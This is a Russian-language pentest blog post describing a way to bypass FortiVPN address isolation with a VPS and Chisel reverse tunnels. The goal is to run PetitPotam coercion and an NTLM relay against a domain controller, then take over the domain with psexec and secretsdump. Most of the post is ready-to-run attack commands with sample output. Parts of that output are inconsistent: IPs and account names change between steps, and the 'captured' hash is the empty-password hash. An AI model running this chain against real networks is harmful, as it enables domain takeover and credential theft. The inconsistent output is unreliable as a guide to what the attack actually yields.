Введение
Сейчас очень распространены доступы через различные SSL VPN, в частности Fortinet, Cisco, F5. При исследовании таких сетей мы можем заметить, что некоторые стандартные инструменты не отрабатывают так, как должны, например не прилетает Reverse Shell или Relay.
Разберём на примере FortiVPN. Дело в том, что Forti из коробки настроен так, что пул адресов VPN-юзеров отделен от основных роутов, мы находимся в "песочнице", это означает, что:
- Нет LLMNR/ NBNS;
- Серверы не отправляют NTLM запросы на нашу машину;
- Даже если мы подключены к домену - машина не воспринимается как трастовая.
Например сканировать, подключаться по RDP к таргетам мы можем, но, если поднять http сервер:
python3 -m http.server 8080
то подключиться из основной сети (предположим Windows 11) к серверу не получится, хотя очень часто бывает необходимым быстро развернуть локальный сервер для возможности расшарить какой-либо пэйлоад.
Не выйдет и произвести атаку NTLMRelay, вызванную, например PetitPotam.
Мы нашли простой в реализации выход - обход через VPS и Chisel. В данной статье рассмотрим, как построить рабочую схему для пентеста корпоративной сети внутри VPN на примере проведения атаки PetitPotam и NTLMRelay.
Теория
Для начала, о PetitPotam и NTLMRelay.
PetitPotam - это техника, позволяющая заставить целевую машину (обычно контроллер домена или сервер с включённой службой MS-EFSRPC ) инициировать аутентификацию по протоколу NTLM к произвольному хосту. Это достигается через вызов уязвимых RPC функций, таких как EfsRpcOpenFileRaw, которые не требуют предварительной аутентификации и автоматически выполняют аутентификацию от имени компьютерной учётной записи (обычно MACHINE$).
Для эксплуатации достаточно запустить скрипт, который можно найти на гитхабе (ссылка https://github.com/topotam/PetitPotam):
python3 petitpotam.py -u <user> -p <password> <ATTACKER_IP> <TARGET_DC>
Как итог домен контроллер (либо другая уязвимая машина) попытается аутентифицироваться на машине атакующего по протоколу NTLM, то есть мы получим хэш от учетки DC$.
NTLM Relay - это техника, при которой злоумышленник перехватывает NTLM обмен между клиентом и сервером и мгновенно ретранслирует его на другой целевой сервис, выдавая себя за клиента. При этом никакого взламывания хэшей не нужно.
Запускается командой:
impacket-ntlmrelayx -t smb://dc.corp.local --no-http-server -smb2support
Методы, способы и вариации Relay, PetitPotam и других сплоитов описывать не буду, т.к. информации в интернете достаточно, поэтому перейдем к самому важному – реализации в сети VPN.
Обход ограничений
Начнем разбор с самого начала, поэтому просто просканируем сеть:
nxc smb 172.16.0.0/24
Видим, что есть 2 контроллера, причем у DC2 signing:False, а это значит, что на него сработает Relay
SMB 172.16.0.5 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:corp.local) (signing:True) (SMBv1:False)
SMB 172.16.0.6 445 DC2 [*] Windows Server 2019 Build 17763 x64 (name:DC2) (domain:corp.local) (signing:False) (SMBv1:False)
Если мы попробуем просто запустить атаку на DC1, описанную ранее, то увидим, что нам абсолютно ничего не прилетело, хотя PetitPotam отработал. Все из-за того, что наша цель по просту не видит компьютер атакующего и не может отправить ответ.
Суть нашего метода заключается в том, что из VPN сети есть доступ в Интернет, а значит и к нашему VPS (надеюсь он у вас есть).
Потребуется реализовать следующую схему:
Подготовка VPS
Как вы уже поняли, для успешного выполнения потребуется VPS, либо машина с белым IP.
К счастью VPS у меня есть, поэтому начнём с того, что установим Chisel
wget https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_amd64.gz
gunzip chisel_1.11.3_linux_amd64.gz
mv chisel_1.11.3_linux_amd64 chisel
chmod +x chisel
Теперь после установки запускаем наш сервер с обратным туннелем и SOCKS5, делается это просто:
./chisel server -p 8080 --reverse --socks5
В результате увидим что-то вроде:
[-] Reverse tunnelling enabled
[-] SOCKS5 proxy enabled
[-] Listening on http://0.0.0.0:8080
Отлично , наш сервер готов к использованию. Кстати заметил бывает на некоторых операционках. что нужно запускать с правами sudo из-за необходимости управлять портами, так что не пугаемся ошибок и запускаем с нужными правами
Подключаем Kali изнутри FortiVPN к нашему туннелю
Теперь нам нужно зайти на рабочую ОС, в моем случае это Kali (
./chisel client < VPS_IP>:8080 R:445:127.0.0.1:4445 R:80:127.0.0.1:8080
Получаем примерно вот такой вывод:
[-] Connecting to ws://< VPS_IP>:8080
[-] Connected (Latency 8ms)
[-] Tunnel #1 created: 445 ⇄ 127.0.0.1:4445
[-] Tunnel #2 created: 80 ⇄ 127.0.0.1:8080
Вот тут ВАЖНО - нужно пробросить порт 445 с VPS на локальный 4445, потому что порт 445 на Kali может быть занят (как было у меня, сначала не понимал в чем проблема)!
И наконец после этого мы получаем заветное соединение между портами VPS и Kali, таким образом весь трафик, который летит на 445 и 80 порт VPS, перенаправляется прямиком на нашу машину внутри VPN. Половина дела сделана (ну почти)
Запуск NTLM Relay ВНУТРИ сети (на Kali)
Ставим всеми любимый Impacket (у кого ещё не установлен):
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install -r requirements.txt
python3 setup.py install
Ну и запускаем ntlmrelayx через impacket
Impacket-ntlmrelayx.py \
-t smb://xxx.xxx.xxx.xxx \ # айпи целевой DC (на самом деле не обязательно домен контроллер, в моем случае 172.16.60.6)
-smb2support \ # Поддержка SMB2 (частенько бывает необходимым)
-l /tmp/logs \ # Сохраняем весь вывод в папку, чтобы случайно не забыть ( полезная фича )
-socks \ # Включаем SOCKs5 прокси ( необязательно, но мне нравится, удобно)
-smb-port 4445 \ # Слушаем локальный 4445, который установили ранее ( не 445)
-http-port 8080 # Для HTTP-триггеров (если потребуется для специфических атак)
Смотрим логи и получаем следующий вывод:
[*] Protocol Client SMB loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Servers started, waiting for connections
[*] SOCKS proxy listening on 127.0.0.1 :1080.
[*] SMB server listening on 127.0.0.1:4445
[*] HTTP server listening on 127.0.0.1:8080
Видим, что необходимые сервисы запустились, а значит машина готова к проведению " релея"
Триггерим атаку
По сути, вся подготовка завершена, осталось только запустить сплоит, в нашем случае PetitPotam, и получить результат.
Для этого соответственно качаем PetitPotam
git clone https://github.com/topotam/PetitPotam.git
cd PetitPotam
И запускаем
python3 petitpotam.py -d corp.local -u guest -p '' <DC1_IP> <VPS_IP>
По логам видим, что эксплоит прошел успешно:
[+] Attempting to coerce authentication via EfsRpcOpenFileRaw()...
[+] Triggered EFSRPC coercion!
[*] Sending request to \\VPS-IP\IPC$
[*] Request sent successfully.
Значит желаемый запрос от цели должен был улететь на наш VPS, затем оттуда через chisel туннель на ПК атакующего, ну а дальше самое интересное
Что происходит после успешного релея?
Получаем такой вывод на Kali:
[*] Got authentication request from 127.0.0.1
[*] Authenticated as: corp.local/DC01$@CORP.LOCAL
[*] Requesting shares on 172.16.60.6 ...
[*] Enumerating domain info on 172.16.60.6 ...
[*] Relaying to smb://172.16.60.6 SUCCEED
[*] ServicePrincipalName: HOST/dc02.corp.local
[*] User SID: S-1-5-21-1334561822-5434567890-1834527820-1001
[*] PrimaryGroupID: 513
[*] PasswordLastSet: 2025-10-10 14:22:33
[*] AccountExpires: Never
[*] SAM account name: DC02$
[*] Domain: CORP.LOCAL
[*] LM hash: aad3b435b51404eeaad3b435b51404ee
[*] NTLM hash: 31d6cfe0d16ae931b73c59d7e0c089c0
[*] Kerberos keys exported to /tmp/logs/smbrelay-dc02.kerberos
Как мы можем заметить, наша схема сработала и мы получили хэш компьютерной учётки DC2!
Теперь можно получить RCE:
psexec.py corp.local/DC02\$@172.16.60.6 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
Или просто сдампить NTDS:
secretsdump.py corp.local/DC02\$@172.16.60.6 -just-dc-user 'Administrator'
В результате получаем полный контроль над DC2, а значит и над всем доменом
Подводим итоги
Таким методом можно реализовать любую атаку внутри VPN SSL, требующую запрос от целевого хоста на наш IP, будь то ADCS или просто подгрузить payload с python-сервера. Данный способ работы был протестирован мной лично и используется всей командой, достаточно эффективно. Конечно есть свои минусы, например в некоторых эксплоитах при попытке регистрациис помощью NTLM на VPS (то есть ПК вне домена) будет использоваться нулевая сессия, но тут важна сама задумка, а как ее применить, каждый решит сам для себя.
Если возникли вопросы или трудности всегда поможем и подскажем)
С уважением DCcorp&SPBcorp!
LIMB